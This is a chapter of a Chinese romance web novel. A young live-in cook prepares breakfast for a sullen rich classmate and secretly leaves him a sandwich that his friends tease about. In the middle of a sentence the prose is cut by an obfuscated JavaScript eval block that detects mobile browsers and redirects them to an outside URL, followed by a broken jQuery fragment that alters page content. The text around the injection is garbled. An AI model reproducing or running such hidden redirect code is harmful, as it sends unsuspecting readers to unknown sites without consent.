想到周六要和裴晔去看升旗，姜弥从周四晚上就开始兴奋得睡不着。
周五清晨，她比闹钟早醒了半小时。
轻手轻脚洗漱完，换上居家服，头发扎成低马尾，方便干活。
进厨房时，天刚蒙蒙亮。
昨晚纪太太林薇出差回来，说想吃豆沙包。姜弥便想着正好做顿中式早餐：包子、豆浆、再来碟小菜。
蒸箱里的面点已经发酵好，白白胖胖挤在一起。她取出来，上锅开火。
另一边，黄豆也提前泡好了。她倒进豆浆机，启动程序。又用小锅慢火煮上纪太太的蜂蜜水，林薇胃不好，习惯早起喝一杯温水冲的蜂蜜。
至于纪淮野——
这人挑剔得人神共愤。
豆浆油条太市井，粥太软没骨头，包子太干太单调。
面他吃，但红烧牛肉面、炸酱面那种重口的，早上绝对不碰。
所以昨晚，姜弥特意熬了高汤。
给他煮了碗清汤细面，卧溏心蛋，烫两片青菜。清清淡淡，但汤鲜到灵魂里。
七点整，早餐摆上桌。
几乎是同时，楼梯上传来脚步声。
纪淮野下来了。
人显衣贵，普通校服穿在他身上，硬生生穿出时装周的高定气场。
他像是没睡好，眉宇间透着股疏离感，眼皮微微垂着，整个人写着“生人勿近”。
姜弥像往常一样打招呼：“早，少爷。”
他没应。
甚至没看餐桌一眼，径直走向门口玄关，弯腰换鞋。
“淮野，不吃早餐？”林薇的声音从楼上传来，穿着睡袍扶着栏杆往下看。
“不饿。”头也没抬。
“胃不要了？”
纪淮野换好鞋，直起身，终于瞥了一眼餐厅方向。
目光扫过满桌早餐，在那碗冒着热气的清汤面上停顿半秒，然后，看向静静站在餐桌旁的姜弥。
他的眼神很淡，没什么情绪。但姜弥同他相处将近一个月，已经能读懂他的微表情了。
这个表情翻译一下就是：我很不爽，但我不说，你自己体会。
“看着就没胃口。”他说。
然后拉开门，走了。
引擎声响起，迅速远去。
姜弥站在原地，眨巴眨巴眼。
不是，他到底在因为什么生气啊？
林薇从楼上下来，一脸困惑：“谁又惹他了？”
王妈赔笑：“大概是没睡好吧。”
“青春期的小孩，可真让人头疼。”林薇揉着太阳穴坐下，端起那杯蜂蜜水喝了一口，对姜弥和王妈说，“你们俩也坐下一起吃吧。”
姜弥摇头：“谢谢太太，我一会儿在厨房吃就好。”
规矩她懂。
林薇也没坚持，拿起一个豆沙包掰开，看了看细腻的豆沙馅，尝了一口。
她顿了顿，眯起眼睛：“果然啊，还是姜弥做的豆沙包深得我心。”
接着又说：“少爷就是那个脾气，他说什么你不用往心里去。把分内事做好就行。”
姜弥点头，“我明白。”
“你最近在学校感觉怎么样？”
“回太太，一切都好。”
“那就好。”林薇吃完一个豆沙包，抬眼看向她，目光平静却带着无形的压力，“让你和淮野同班，也是方便有个照料。京市的人啊，土著思想根深蒂固，许姐说你温吞老实，担心你受欺负。”
“多谢太太关照。”
“不过，”林薇话锋一转，“在学校，你的身份只是转学生。纪家的事，少爷的事，不该说的一个字都别提。明白？”
“明白。”
“好好加油。有空给许姐去个电话，一个姑娘家在外，她总归是不放心的。”
“是。”
“淮野胃不好，嘴又挑，你看能不能做点什么给他带学校去。”
“好的，太太。”
交代完正事，林薇便让她去忙了。
——
厨房里。
姜弥站在水池边，看着那碗清汤面。
她熬了两小时的高汤，换一句“看着就没胃口”。
她把面倒进了垃圾桶。
看着碗底剩下的汤顺着水流冲下去，心里的小人默默蹲下画圈圈。
……算了算了。
东家为大。
诅咒他，对自己也没好处。
想起林薇的吩咐，姜弥深吸一口气。从冰箱里拿出吐司、培根、鸡蛋。
还是给他做一份吧。万一他饿死在教室，自己这工作也就到头了。
面包切片，切边，放进吐司机烤到微焦。培根下锅，煎到刚好出油，不焦不硬。鸡蛋小火慢煎，蛋黄凝固外层、内里还润。
生菜洗净沥干，用中间最脆的部分。蛋黄酱抹匀，薄薄一层。不然黏糊糊的，影响口感。
组装时，她颇为讲究。
一层培根，一层蛋，一层生菜，盖上另一片面包。
用油纸包起来，对角线折法，整整齐齐。
包到最后一下，她顿了顿。
惹东家不高兴，对她没好处。
但也不能让他太高兴，不然显得她很好欺负。
姜弥从抽屉里翻出一支记号笔，在油纸收口的贴纸上，画了一个愤怒的小鸟表情。
旁边配文：「少爷，请尽情吃掉我吧?(`?′)?」
画完。
姜弥觉得，他应该更不会吃了。
……他爱吃不吃！
反正饿的又不是她的胃。
——
到了教室，姜弥发现旁边的座位还是空的。
与她隔条走廊的邻桌周屿也不在。
她环顾四周，趁无人注意，悄悄把三明治放进纪淮野的桌洞里。然后若无其事地拿出课本，开始早读。
第一节课下课。
纪淮野才从外面进来，身后跟着周屿。
回到座位的时候，他顿了一下。看向旁边盯着课本、眉头微蹙，假装正在认真研究某道题的女生。
“纪少，走，小卖部去。饿死了。”
周屿凑过来。
然后，他看到了纪淮野手里的那个三明治。
再然后，他看到了三明治上那个趣萌表情。
眉毛倒竖，眼睛锐利带火，小鸟透出不服气的暴躁。
旁边还有字：「少爷，请尽情吃掉我吧?(`?′)?」
又凶又萌。
“卧槽！”
“卧槽！！！”
“卧槽！！！！！”
周屿直呼三连。
陈竞刚好上厕所回来，一进门就听到这声情并茂的国粹表演。
“咋了咋了？”他乐呵呵凑过来，脸上的笑容也在看到三明治的瞬间凝固。
然后，他双手捧脸，完美cos了一个惊恐表情包。
“谁啊？谁这么大胆，竟敢公然调戏我们野哥？”
陈竞看热闹不嫌事大，猛地一拍桌子，义愤填膺道：
“野哥！要不要我帮你去保卫科调监控？！”
一旁的姜弥缓缓扣了个问号。
……怎么就成调戏了？
但那明明是示弱！是讨好！是打工人敢怒不敢言
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213798|194410||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，希望雇主能好好吃掉早餐的卑微求生欲！
你们俩能不能别胡乱解读净添乱啊喂！(｀?′)Ψ
陈竞自然听不到姜弥的心声。他和周屿向来以在纪淮野的雷区蹦迪、但又精准拿捏在不会真把这位爷惹毛的边缘为乐。
“纪少，千万别吃。”周屿推了推眼镜，镜片精光一闪，福尔摩斯上身，“此物来路不明，留言尤其可疑——你看这措辞，‘请尽情吃掉我’，啧啧……”
他压低了声音，笑容逐渐邪魅：
“说不定里面有迷魂药。吃了就会对送东西的人言听计从、死心塌地、非她不娶。”
姜弥：？？？
你少看点小说吧。
周屿一脸正气，伸出手：
“来来来，兄弟替你试毒。牺牲我一个，幸福你全家。”
“有病。”
纪淮野说。
然后，他拆开包装。
在周屿和陈竞挤眉弄眼的暗送秋波中，慢条斯理地咬了一口。
陈竞的眼睛瞪得像铜铃，倒退一步，捂住胸口，开始了他的个人solo：
“不可思议！”他的声音颤抖，“我还在地球上吗？太阳从西边出来了吗？野哥竟然吃了女孩子送的东西！史无前例啊！破纪录了！里程碑式的时刻！我要记下来！今天是几月几号？”
他动作浮夸得像在演舞台剧。
周围已经有同学回头看了。
姜弥想死。
“难道是下的降头？”周屿摸着下巴，一脸正经地分析，“碰到就会成为傀儡的那种南洋邪术。”
姜弥：……
她突然有点同情纪淮野。
每天被这两个卧龙凤雏围着，怪不得脸那么臭。
“不过话说回来，”周屿的目光开始往四周扫射，缓缓地、缓缓地移向姜弥，“谁放的呢？”
姜弥：Σ(°△°|||)︴
她盯着书，一动不敢动。
看不见我。
看不见我。
看不见我。
“呐，姜弥。”陈竞凑过来，一脸八卦，“你坐野哥旁边，有没有看到是谁放的？女的男的？高的矮的？美的丑的？”
姜弥抬起头，表情茫然。
“不、不知道。”
声音软软的，十分无辜。
她是真的不知道。
一个普通的三明治，怎么让这俩人脑补出了这么多剧情。
她偷偷瞟了一眼纪淮野。
他已经吃了一大半。
表情看不出喜怒，但也没有嫌弃的意思。
姜弥想起早上那碗被嫌弃的清汤面，又看了看正在被消灭的三明治，忽然觉得有点好笑。
想必，他是真的饿了。
——
不知道是不是托陈竞这个大喇叭的福。
一节体育课的空档，纪淮野的桌子上堆出了一座小型超市。
各种姜弥从没见过的零食饮料，仅凭包装就能猜到价格不菲。
还有贴纸、留言条、手折的纸鹤、不知道哪个天才画的Q版简笔画。
画的是纪淮野本人，旁边配文：「纪神看看我！⊙_
姜弥站在自己的座位旁边，看着那座小山，陷入了沉思。
……
她就放了一个三明治。
一个普普通通的三明治，是怎么引发这么夸张的蝴蝶效应的？
她默默看向走在中间、被周屿和陈竞拥簇着上楼梯的纪淮野。
他还什么都不知道。
但他马上就要知道了。
姜弥忽然有点期待看到他的表情。